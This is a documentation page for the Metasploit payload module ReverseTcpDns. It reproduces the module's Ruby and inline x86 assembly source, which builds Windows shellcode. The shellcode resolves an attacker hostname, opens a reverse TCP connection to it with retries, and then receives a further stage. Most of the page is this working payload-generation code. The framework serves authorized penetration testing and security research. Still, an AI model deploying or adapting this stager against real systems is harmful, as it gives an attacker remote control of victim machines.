Module: Msf::Payload::Windows::ReverseTcpDns

Includes:
TransportConfig, ReverseTcp
Included in:
ReverseTcpRc4Dns
Defined in:
lib/msf/core/payload/windows/reverse_tcp_dns.rb

Overview

Complex reverse_tcp payload generation for Windows ARCH_X86

Constant Summary

Constants included from Rex::Payloads::Meterpreter::UriChecksum

Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_CONN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_CONN_MAX_LEN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITJ, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITP, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITW, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INIT_CONN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_MIN_LEN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_MODES, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_UUID_MIN_LEN

Instance Method Summary collapse

Methods included from ReverseTcp

#asm_block_recv, #asm_reverse_tcp, #generate_reverse_tcp, #include_send_uuid, #required_space, #transport_config

Methods included from Exitfunk

#asm_exitfunk

Methods included from BlockApi

#asm_block_api

Methods included from SendUUID

#asm_send_uuid, #uuid_required_size

Methods included from Msf::Payload::Windows

#apply_prepends, exit_types, #handle_intermediate_stage, #include_send_uuid, #replace_var

Methods included from PrependMigrate

#apply_prepend_migrate, #prepend_migrate, #prepend_migrate?, #prepend_migrate_64

Methods included from TransportConfig

#transport_config_bind_named_pipe, #transport_config_bind_tcp, #transport_config_reverse_http, #transport_config_reverse_https, #transport_config_reverse_ipv6_tcp, #transport_config_reverse_named_pipe, #transport_config_reverse_tcp, #transport_config_reverse_udp, #transport_uri_components

Methods included from UUID::Options

#generate_payload_uuid, #generate_uri_uuid_mode, #record_payload_uuid, #record_payload_uuid_url

Methods included from Rex::Payloads::Meterpreter::UriChecksum

#generate_uri_checksum, #generate_uri_uuid, #process_uri_resource, #uri_checksum_lookup

Instance Method Details

#asm_reverse_tcp_dns(opts = {}) ⇒ Object

Generate an assembly stub with the configured feature set and options.

Parameters:

  • opts (Hash) (defaults to: {}) —

    a customizable set of options

Options Hash (opts):

  • :port (Integer) —

    The port to connect to

  • :exitfunk (String) —

    The exit method to use if there is an error, one of process, thread, or seh

  • :retry_count (Integer) —

    Number of retry attempts



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# File 'lib/msf/core/payload/windows/reverse_tcp_dns.rb', line 68

def asm_reverse_tcp_dns(opts={})

  retry_count  = [opts[:retry_count].to_i, 1].max
  encoded_port = "0x%.8x" % [opts[:port].to_i,2].pack("vn").unpack("N").first

  asm = %Q^
    ; Input: EBP must be the address of 'api_call'.
    ; Output: EDI will be the socket for the connection to the server
    ; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)

    reverse_tcp:
      push '32'               ; Push the bytes 'ws2_32',0,0 onto the stack.
      push 'ws2_'             ; ...
      push esp                ; Push a pointer to the "ws2_32" string on the stack.
      push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
      call ebp                ; LoadLibraryA( "ws2_32" )

      mov eax, 0x0190        ; EAX = sizeof( struct WSAData )
      sub esp, eax           ; alloc some space for the WSAData structure
      push esp               ; push a pointer to this struct
      push eax               ; push the wVersionRequested parameter
      push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')}
      call ebp               ; WSAStartup( 0x0190, &WSAData );

      push eax               ; if we succeed, eax will be zero, push zero for the flags param.
      push eax               ; push null for reserved parameter
      push eax               ; we do not specify a WSAPROTOCOL_INFO structure
      push eax               ; we do not specify a protocol
      inc eax                ;
      push eax               ; push SOCK_STREAM
      inc eax                ;
      push eax               ; push AF_INET
      push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')}
      call ebp               ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
      xchg edi, eax          ; save the socket for later, don't care about the value of eax after this

    create_socket:
      call got_hostname

    hostname:
      db "#{opts[:host]}", 0x00

    got_hostname:
      push #{Rex::Text.block_api_hash( "ws2_32.dll", "gethostbyname" )}
      call ebp               ; gethostbyname( "name" );

    set_address:
      mov eax, [eax+28]      ; names
      push #{retry_count}    ; retry counter
      push eax               ; host address
      push #{encoded_port}   ; family AF_INET and port number
      mov esi, esp           ; save pointer to sockaddr struct

    try_connect:
      push 16                ; length of the sockaddr struct
      push esi               ; pointer to the sockaddr struct
      push edi               ; the socket
      push #{Rex::Text.block_api_hash('ws2_32.dll', 'connect')}
      call ebp               ; connect( s, &sockaddr, 16 );

      test eax,eax           ; non-zero means a failure
      jz connected

    handle_connect_failure:
      ; decrement our attempt count and try again
      dec dword [esi+8]
      jnz try_connect
  ^

  if opts[:exitfunk]
    asm << %Q^
    failure:
      call exitfunk
    ^
  else
    asm << %Q^
    failure:
      push 0x56A2B5F0         ; hardcoded to exitprocess for size
      call ebp
    ^
  end

  asm << %Q^
    ; this label is required so that reconnect attempts include
    ; the UUID stuff if required.
    connected:
  ^

  asm << asm_send_uuid if include_send_uuid

  asm
end

#generate(_opts = {}) ⇒ Object

Generate the first stage



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# File 'lib/msf/core/payload/windows/reverse_tcp_dns.rb', line 28

def generate(_opts = {})
  conf = {
    port:        datastore['LPORT'],
    host:        datastore['LHOST'],
    retry_count: datastore['ReverseConnectRetries'],
    reliable:    false
  }

  # Generate the advanced stager if we have space
  if self.available_space && cached_size && required_space <= self.available_space
    conf[:exitfunk] = datastore['EXITFUNC']
    conf[:reliable] = true
  end

  generate_reverse_tcp_dns(conf)
end

#generate_reverse_tcp_dns(opts = {}) ⇒ Object

Generate and compile the stager



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# File 'lib/msf/core/payload/windows/reverse_tcp_dns.rb', line 48

def generate_reverse_tcp_dns(opts={})
  combined_asm = %Q^
    cld                    ; Clear the direction flag.
    call start             ; Call start, this pushes the address of 'api_call' onto the stack.
    #{asm_block_api}
    start:
      pop ebp
    #{asm_reverse_tcp_dns(opts)}
    #{asm_block_recv(opts)}
  ^
  Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string
end

#initialize(*args) ⇒ Object

Register dns specific options



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# File 'lib/msf/core/payload/windows/reverse_tcp_dns.rb', line 19

def initialize(*args)
  super
  # Overload LHOST as a String value for the hostname
  register_options([ OptString.new("LHOST", [true, "The DNS hostname to connect back to"]) ], self.class)
end